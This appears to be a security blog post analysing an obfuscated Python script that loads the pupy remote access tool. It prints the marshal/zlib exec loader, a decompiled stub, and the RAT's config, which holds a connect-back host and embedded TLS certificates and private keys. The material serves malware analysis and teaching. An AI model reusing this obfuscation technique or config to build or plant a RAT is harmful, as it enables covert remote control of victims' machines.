Nicely Obfuscated Python RAT

Published: 2020-10-14
Last Updated: 2020-10-15 06:48:47 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

While hunting, I found an interesting Python script. It matched one of my YARA rules due to the interesting list of imports but the content itself was nicely obfuscated. The script SHA256 hash is c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b and the current VT score is only 2/59![1]

The script is simple, after a bunch of imports and an if/then condition to detect if it is executed on Windows or Linux, we have this piece of code (slightly beautified):

import zlib,marshal
exec marshal.loads(zlib.decompress(
    'x\xda\xd4\xbd\x0bx\x1c\xc9y\x18X\xd5=O`\x80\x01\xf1\x06\x9fC\xee
     <stuff deleted>
     \xab\xac\xff\xd4Oy\x99\x86\x17\xff\xfa\xa1\x14\xe3M\x92\x92z\xf9\xc9\xe5\xff\x03\x1d\x99\x95\xf3'))

You can see that the script use exec()[2] which can be compared to the JavaScript eval(). exec() will execute the Python code passed as argument:

$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exec("a=True;print(a)")
True
>>>

When I'm teaching FOR610, I like to say that, when you see eval() in a script, often this means it's "evil". In Python, eval() is able to evaluate and execute either a string, an open file object, or a bytecode object. You know that Python is an interpreted language but, like many other languages, it actually compiles source code to a set of instructions for a virtual machine (the Python "interpreter"). This intermediate format is called "bytecode". You probably already saw files ending with '.pyc'.

The payload is zipped and, once decompressed, it is passed to the marshal module[3] which performs internal Python object (de)serialization. The output is a bytecode that is evaluated and executed by exec(). The challenge is now to investigate what's inside this bytecode. To achieve this, we can use a third-party module called uncompyle6[4]. This module is able to decompile bytecode into Python source code. Let's change the original code into this:

import zlib
import marshal
import uncompyle6
uncompyle6.main.decompile(2.7,marshal.loads(zlib.decompress('...')),sys.stdout)

Here is the generated output. We start to see interesting stuff:

# uncompyle6 version 3.7.4
# Python bytecode 2.7
# Decompiled from: Python 2.7.17 (default, Jul 20 2020, 15:37:01)
# [GCC 7.5.0]
import imp, sys, marshal
stdlib = marshal.loads('... <more obfuscated data>...')
config = marshal.loads('... <more obfuscated data> ...')
pupy = imp.new_module('pupy')
pupy.__file__ = 'pupy://pupy/__init__.pyo'
pupy.__package__ = 'pupy'
pupy.__path__ = ['pupy://pupy/']
sys.modules['pupy'] = pupy
exec marshal.loads(stdlib['pupy/__init__.pyo'][8:]) in pupy.__dict__
pupy.main(stdlib=stdlib, config=config)

We see a lot of references to "pupy" which is a Python RAT ("Remote Access Tool")[5].

The most interesting data that deserves some deeper check is the 'config' object. Let's have a look at it by executing the code related to it and we find this:

$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import marshal
>>> config = marshal.loads(b'...')
>>> print(config)

Here is the extracted config (beautified):

{
    'launcher_args': [
        b'--host',
        b'172.16.225.19:8443', 
        b'-t', b'ssl'
        ],
    'cid': 2438748468, 
    'launcher': b'connect', 
    'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)], 
    'debug': False, 
    'credentials': {
        'SSL_BIND_CERT': 
b'-----BEGIN CERTIFICATE-----\nMIIC/jCCAeagAwIBAwIBAzANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UE\nCgwKbEtJV2pYaGlvZjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEF\nAAOCAQ8AMIIBCgKCAQEArKNBMZbKTBVkPfhR94lVAVYuv8kzB3HYkZF0PZjI7Cad\nr+9rQ1Q3bQxEQ7Z4NztLysbMzEBRGTDMdQGrRbFH/A4zgaSznIH2+ftInjYUEoXO\ntpZF8j5G2qR26VqTBYbhYagDFQM9s/E5X7Fm94QvACBgBQySZTYBQKCpKESir4dx\n7hkfRZgrjBV9YLPFGFqd1IX1k/0JyYMtnCnP5kBjM8/Q6hDgdV7TEs7CmahpL+rl\nY3ijIo9m1B5nlhb1ug7+w9/YdHfclGjQ2dmi0/ndp66aMlQHhjzDnNlwdsJ77+zx\n4aWdN2vY4afdeHs1VoARvnN5UCL7R1TaI16QUlhKSwIDAQABo0gwRjAJBgNVHRME\nAjAAMBkGA1UdDgQSBBDKYoYigHC5cKWx42XCjDkSMAsGA1UdDwQEAwIFIDARBglg\nhkgBhvhCAQEEBAMCBkAwDQYJKoZIhvcNAQELBQADggEBACwNdBricTnwLcnbFdmE\npyl+01dOahdQj0cNXQ9LvJIVrr07x+81V7513TZ6qxUfgihR69Kf6iYbp0vtoixu\n0wH9cT9tLyDhXopgZXiGna/zITtlUXAvkIzaDTEJ3t4FALX+BoQU8Skx4Y2OLpi/\nfY/ku4/QRaxOELHMmkljbhrixTHnJHgxWvfnXPr2icvxCHsL9r1gK8ze+ZfyjDVe\nbidYgLzthrXiCvNTW1PiiUW7WHeGQjp7O87vZpUOCZ2hVGZtI5svGjBqgqRCyLM2\nvaXyvL6RSRlIayZea2mbJFb5ZhzvpNroiBAa72r1rOgRZRqA8k4cvo1JH3xBIcGo\npN4=\n
-----END CERTIFICATE-----\n', 
        'SSL_CA_CERT': 
b'-----BEGIN CERTIFICATE-----\nMIIC0DCCAbigAwIBAwIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIxMTAxMjE0MTM1OFowFTETMBEGA1UE\nCgwKSWJIblRXbmhjRTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALH+\n52uAbcc8nIOpHbzmoG+lbXLBeU75OYr8JhZSZIw+m18QvsZ8ACBGeAwXbv5AvYGR\nVvECtDYTkgRaQzIAaZvo0C8kqj43sAkyUWcf0kuVLOkbYlG9NMDDkyVL6BmIQpvy\n8+ohLk2CfFoKGC0oJH3lK037WMqki+hi2a8iSVaSu/c23WeKhN8mRMDPRAfwPqca\nBRl4U+ezr+Y32ayQF1N5zlVbWEOv6NZ9WTIt9qRnHpXLKsQPvJB/EP/BbSPnJcdB\n/DTgYkXHhJL1FVQUj4CblbVI2wuR/2bbVIJjM3srNFvuuLdPhE6+x+fFu2Q3u7d0\nbH2BFQg0Jut25ZGMNqcCAwEAAaMrMCkwDAYDVR0TBAUwAwEB/zAZBgNVHQ4EEgQQ\nLw2jfzazhJBAvVC+mBylPzANBgkqhkiG9w0BAQsFAAOCAQEApeMeRldhXgR+Ny2Q\nnHyI+qaubO+fdJ5gJaPZ5XprSFAI1Opwzq2BPQ+99w0ej9TlTa3l6IZ73zUU4cc/\n4PFzMVbJKP0AQs3PAqA4z+o6YOwaw7wlGUq4pY/LHvyDY0mxGRW9+aptJkxMGGj3\njJpwoxmPWFm6hrwgIGgrkzlJmo23TMCxvNKMwsx8MZMQLbcCMcZ+nxnBugF1025p\nUy+pgGXErRhiZ0tLpmnfQIbL9vUsCeJAh9F/+1DxaHQIyEiOsvZUiHXIw8LERx9P\nEVf4RpdTe4EX1eAO5LnnsQpK6vqii0T0NUoVjCEGwcvfC5xTWlnbvlYi2T3uGim8\nsVCBqw==\n
-----END CERTIFICATE-----\n', 
        'SSL_CLIENT_CERT': 
b'-----BEGIN CERTIFICATE-----\nMIIC/jCCAeagAwIBAwIBBTANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UE\nCgwKWmdmWlRGZGtTRjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEF\nAAOCAQ8AMIIBCgKCAQEAntdeGhRlWcA7ZwWpnQ5TuWCmEsqliN4LdU4u5c1FCDPX\n8mvRi//NTdNc+jJyZgXC25ep9vTlWYLjvdY63i64/3yunF3VMiOdmFXW+bEfCFmh\neIufwh6R34530fcOvo21olXPsUBqilIGVfqzCiVWtT5SYRUlIMo0CHJdTkg0l4SC\n4UPv+nndYzpQ6iZl9i4jFFMnPuz2DPywYBOAoqz+MjNp7WR03+n92VAqnZ+/C+mo\nBu3WeH0vH56mmxjCkBK/N7mHI64HdC6iw47yzKT/mXx/pf1ZVtWlcmASTA3pLrT4\nHQ5xHTVm2p6c/XzgsTQ8SvV+fcEqcWKG5SUnDEFW0QIDAQABo0gwRjAJBgNVHRME\nAjAAMBkGA1UdDgQSBBBe1ns9ffIR6Z8GqcIP6tyjMAsGA1UdDwQEAwIHgDARBglg\nhkgBhvhCAQEEBAMCB4AwDQYJKoZIhvcNAQELBQADggEBADzXuhwbBWbbsqGlgiwC\n71ci6+d47jszL3cEDwmxmHShCApUmonu2zTB9zdLIdakgctriEBM1ygHTF1ZBvet\nAaVsRZUYAIb8/sqmuBVRsLq7JVTcuOwRKcFsBF6NhP9/MYaXLehR5kJ5d4wtQl01\nD6qPpW21ceqXJ292EhBGatQMgzh84OV7gvSQKMyfW7QblcEqAoTE+1km6QY++/Uh\nfvzSxgABIZnLjDqRtCCLxWBsd9b32xkF33hWKScR7lJwmxLnm44UHiFu2kU/laFi\n3rcxs1892v934bknV0zPTcPqYOGdq5ndNohA0IPEXbtdn3UueoNdaSWiZzW7oTrg\nBaQ=\n
-----END CERTIFICATE-----\n', 
        'SSL_BIND_KEY': 
b'-----BEGIN PRIVATE KEY-----\nMIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCso0ExlspMFWQ9\n+FH3iVUBVi6/yTMHcdiRkXQ9mMjsJp2v72tDVDdtDERDtng3O0vKxszMQFEZMMx1\nAatFsUf8DjOBpLOcgfb5+0ieNhQShc62lkXyPkbapHbpWpMFhuFhqAMVAz2z8Tlf\nsWb3hC8AIGAFDJJlNgFAoKkoRKKvh3HuGR9FmCuMFX1gs8UYWp3UhfWT/QnJgy2c\nKc/mQGMzz9DqEOB1XtMSzsKZqGkv6uVjeKMij2bUHmeWFvW6Dv7D39h0d9yUaNDZ\n2aLT+d2nrpoyVAeGPMOc2XB2wnvv7PHhpZ03a9jhp914ezVWgBG+c3lQIvtHVNoj\nXpBSWEpLAgMBAAECggEBAIiwUkQjMlV/cnkmji/CSs3eIPG1KnQwjdrkIfdLa3qf\nMKdGl9Udby0mUz6R0SlaB66sLSdjnVKmspvKEIQD1A0caWeysouu05Amh97MzqPD\n0mH7JbKh4JPpOEWXc2Ui4Hzj/Fy8zjQVQOolmnNL87LT73LP+3Grit5S1tyNS4pS\nFMtQUx0UzsnuHrUmMwH1dRO6DzohmpZR3wTDxxrOuWiqbNKyM2sTJ3xRU1u2zbsT\ny4UEkZp1brI711GmlmFodUli2u1OFHld5IUNEniTX2CXa/+NpfaUYM4OIS8cCYhz\n1Hpbq1FZpephXfhc3oGRBepCX4EAFkiKpHs1dz9dSYECgYEA1gpVnDtWebXRsKbs\nLsXAw5cO7C2oTzSgbH61nbLW17IircwMpxvklxxfwaDorIIwhhYq1qe/2aBBduK4\nEKfaWl9vh4occjqlIF7CvYahku3EeLXPjVqFEWe1ixJsN7fAOOCuVuXIboZsHW8n\nTQzZd/xV5EeK6Leu8l0obmtrY+ECgYEAznseTl9wZV0nCMAcG3y9opWP4xXKzdKa\nDCkX0lb715+xUD5V+MX+AW8c+xX25X0+aO2c8GkOCyqsmBFTMT6c7F+BKFTi658M\ngjMmpVX/wVuP51/qK0/3ozKcEgEoUASaVzsAxzoAhjsH7UIjUV6Ps6mp5Hdaeee/\nBZLLbZuO86sCgYEAtPCjkqEu51Dm5PkXbCrMXAwVF185i0un2k/7ZEbNDCaQ3m9C\nuvn/cicQY/WM/FhKgO+4YyIIMwcgkEn05E+hbQiElgYRKhedhBHXerSXXkgV8R1x\nScOd/iq388stJKT3oJ1/hAJYP+bu+qr+hEo6hQ4R5hr8uOKeyFAsX7v7WsECgYEA\nillkTQ8VuFVaOjq+moxSZAXiiz2mzZI3Nb6y/3TY+fk+TY32/OFs+HkC6holfE8W\n6ieL6Gn7xu+pBZtWKsDRVHAJkoSOJ2JCd1reohmlbGF1YoqZ1LuYKflXKZks8bCj\n2Z7nPpZWk5oqDYcrMvIxRyh/dV2jedsV2x4owCBjAFECgYEAveBznLl2yrQmbe40\net0E4oA2vf67juop4y6WrOgqkoFnmfFoEUF54tAVDKdHcnhzJp3/eko49Evr8agY\ndGcZgkpzKFqZQ56LZ9ltKXATm+I2InjyQC3UXMBdSDpuW3io0Et+7bzaV0xaHA0g\nSxsoi8TK31dV/uBbuM8w0Ub8mJ8=\n
-----END PRIVATE KEY-----\n', 
       'SSL_CLIENT_KEY': 
b'-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCe114aFGVZwDtn\nBamdDlO5YKYSyqWI3gt1Ti7lzUUIM9fya9GL/81N01z6MnJmBcLbl6n29OVZguO9\n1jreLrj/fK6cXdUyI52YVdb5sR8IWaF4i5/CHpHfjnfR9w6+jbWiVc+xQGqKUgZV\n+rMKJVa1PlJhFSUgyjQIcl1OSDSXhILhQ+/6ed1jOlDqJmX2LiMUUyc+7PYM/LBg\nE4CirP4yM2ntZHTf6f3ZUCqdn78L6agG7dZ4fS8fnqabGMKQEr83uYcjrgd0LqLD\njvLMpP+ZfH+l/VlW1aVyYBJMDekutPgdDnEdNWbanpz9fOCxNDxK9X59wSpxYobl\nJScMQVbRAgMBAAECggEAdU+2TiiWGc0hkhrahAYay6SXwvUrgIQNjltpw4rw2vf/\nGymKH42TAVGDL72mQ7cpjKjcfGmuIYfLz16zJ3j2ZKqfAxlB5b/sGp/7H3oy4yXf\nXXoxSVrufV9pGwcOOqnKZdReihh7FyExULrRFEMzYLRgfxbwzuDHwR1F0BT/0o5/\nZOYmCMsskaFnC458WqcpU/N11vAolVf6VtWIlCyCJCDZIfricTC/U5t22aR04eO9\nAxq1n9oZ49Nwqnm1H85u8qqedqAF5VFpf7PRVOZMk5DLkgR5bTSIFD08oKoFJWeO\nWSZgz3szNME2fIYD6+1PBVVrJPmtvQ5E1GzJFV6KgQKBgQDPtsRV8wchEZjjnQeF\n+OygDUL19UIaZtYaZY6dsFTYlXlwaNS5tT7ZAlyLz9qEzI9BfcCQ9CnxV+DFth8t\nZgavu2fdH9ETHXz9MJArehaMci1d9Ma2bMpOpheyAkbjbfvueNFlas4olmPI2Zzz\nx7A2K55L/OxvFfFt4cqmhC6W2QKBgQDDxCW8adbMCJw6w8RLnXwNDhU6kr2i+W3P\nSUtwqaVi6KaRXJjui0LfglKmvfhu5z677Z3817FCuHhztT6jcnz0z/5uCplIo4ln\nSNtr1DQKsh4xAUdU3vK3kp1bFZTvsKPyP+w4BQ9xCqFFUPzP0qD7Tuhr0Cw63Iao\nC9Fprpx0uQKBgAyDShiTZ16KnNc5YnajpD2QDvSaLb1BbKxyacD+Gl5hwssOxaHa\nVUrlZYXWo6dUW1zqomsZCl3LmXLPodkuSEDV3U/o1sN8B0eJYWX9GNalGi6KzF24\n+Ab84niKwpJ40bBv/s1JPdocFS7ITTgyU18wCX0yY1vdyomADKEzXUshAoGAOpMA\n23wricb1v9t9a0aGrH1POsRXO2E4SvJaQS5xTsPfutSi6ZT/gFLFGiDzKXPFYIN7\nZwC+iAEcATr0sAD8hF+LeC9xp7tOzHmPNZc7rwuWXwFL74f5xZV3wZ4WfxUyKLSZ\noDVbZm5QzKWrzx7tjeQRRNj3svDy1Wsb0GwvYfkCgYBYmtX19ZiZGGXx8mow3fxB\ntaEm7uIXuFojvaZZKIcbj67Mc0AVIsWeG2PhdbBGuXKNFu9Gkxdjw5OUip8a0Uns\nIWzAKHtVUX9vOG2cAC4eD4G+LgIdHnj46RlD7edppSflAHxibTz/XI/g0bnIFX2s\nGjgAfHPZxjSkzkYgsWMNxg==\n
-----END PRIVATE KEY-----\n'
        }, 
    'scriptlets': ['']
}

Unfortunately, the host is an RFC198 IP address. Maybe we could find interesting information in the certificate? Let's have a look:

# openssl x509 -in cert.tmp -text
Certificate:
    Data:
        Version: Unknown (3)
        Serial Number: 3 (0x3)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O = IbHnTWnhcE
        Validity
            Not Before: Oct 12 14:13:58 2020 GMT
            Not After : Oct 12 14:13:58 2023 GMT
        Subject: O = lKIWjXhiof, OU = CLIENT
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:ac:a3:41:31:96:ca:4c:15:64:3d:f8:51:f7:89:
                    55:01:56:2e:bf:c9:33:07:71:d8:91:91:74:3d:98:
                    c8:ec:26:9d:af:ef:6b:43:54:37:6d:0c:44:43:b6:
                    78:37:3b:4b:ca:c6:cc:cc:40:51:19:30:cc:75:01:
                    ab:45:b1:47:fc:0e:33:81:a4:b3:9c:81:f6:f9:fb:
                    48:9e:36:14:12:85:ce:b6:96:45:f2:3e:46:da:a4:
                    76:e9:5a:93:05:86:e1:61:a8:03:15:03:3d:b3:f1:
                    39:5f:b1:66:f7:84:2f:00:20:60:05:0c:92:65:36:
                    01:40:a0:a9:28:44:a2:af:87:71:ee:19:1f:45:98:
                    2b:8c:15:7d:60:b3:c5:18:5a:9d:d4:85:f5:93:fd:
                    09:c9:83:2d:9c:29:cf:e6:40:63:33:cf:d0:ea:10:
                    e0:75:5e:d3:12:ce:c2:99:a8:69:2f:ea:e5:63:78:
                    a3:22:8f:66:d4:1e:67:96:16:f5:ba:0e:fe:c3:df:
                    d8:74:77:dc:94:68:d0:d9:d9:a2:d3:f9:dd:a7:ae:
                    9a:32:54:07:86:3c:c3:9c:d9:70:76:c2:7b:ef:ec:
                    f1:e1:a5:9d:37:6b:d8:e1:a7:dd:78:7b:35:56:80:
                    11:be:73:79:50:22:fb:47:54:da:23:5e:90:52:58:
                    4a:4b
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            X509v3 Subject Key Identifier: 
                CA:62:86:22:80:70:B9:70:A5:B1:E3:65:C2:8C:39:12
            X509v3 Key Usage: 
                Key Encipherment
            Netscape Cert Type: 
                SSL Server
    Signature Algorithm: sha256WithRSAEncryption
         2c:0d:74:1a:e2:71:39:f0:2d:c9:db:15:d9:84:a7:29:7e:d3:
         57:4e:6a:17:50:8f:47:0d:5d:0f:4b:bc:92:15:ae:bd:3b:c7:
         ef:35:57:be:75:dd:36:7a:ab:15:1f:82:28:51:eb:d2:9f:ea:
         26:1b:a7:4b:ed:a2:2c:6e:d3:01:fd:71:3f:6d:2f:20:e1:5e:
         8a:60:65:78:86:9d:af:f3:21:3b:65:51:70:2f:90:8c:da:0d:
         31:09:de:de:05:00:b5:fe:06:84:14:f1:29:31:e1:8d:8e:2e:
         98:bf:7d:8f:e4:bb:8f:d0:45:ac:4e:10:b1:cc:9a:49:63:6e:
         1a:e2:c5:31:e7:24:78:31:5a:f7:e7:5c:fa:f6:89:cb:f1:08:
         7b:0b:f6:bd:60:2b:cc:de:f9:97:f2:8c:35:5e:6e:27:58:80:
         bc:ed:86:b5:e2:0a:f3:53:5b:53:e2:89:45:bb:58:77:86:42:
         3a:7b:3b:ce:ef:66:95:0e:09:9d:a1:54:66:6d:23:9b:2f:1a:
         30:6a:82:a4:42:c8:b3:36:bd:a5:f2:bc:be:91:49:19:48:6b:
         26:5e:6b:69:9b:24:56:f9:66:1c:ef:a4:da:e8:88:10:1a:ef:
         6a:f5:ac:e8:11:65:1a:80:f2:4e:1c:be:8d:49:1f:7c:41:21:
         c1:a8:a4:de

Same conclusion, no interesting information here. This is probably an internal test or a red-team exercise but the obfuscation technique used in this sample is interesting... 

[1] https://www.virustotal.com/gui/file/c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b/detection
[2] https://docs.python.org/2.0/ref/exec.html
[3] https://docs.python.org/3/library/marshal.html
[4] https://pypi.org/project/uncompyle6/
[5] https://github.com/n1nj4sec/pupy

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)

Comments

Hello there, I was searching for a tool and traced it to a Telegram channel which is serving up obfuscated versions of hard to find tools. It's utilizing marshal and lambda calls, and I was hoping you might be able to tell me if it's malicious or not. I'm going to assume it most certainly must be, but maybe this is truly a Robin Hood situation where it's just a hacker who is kind? Anyhow, if this is something you can help with please let me know. I took the file to the official Python Discord community and 5 people have tried and failed so far. Thank you for your time

Diary Archives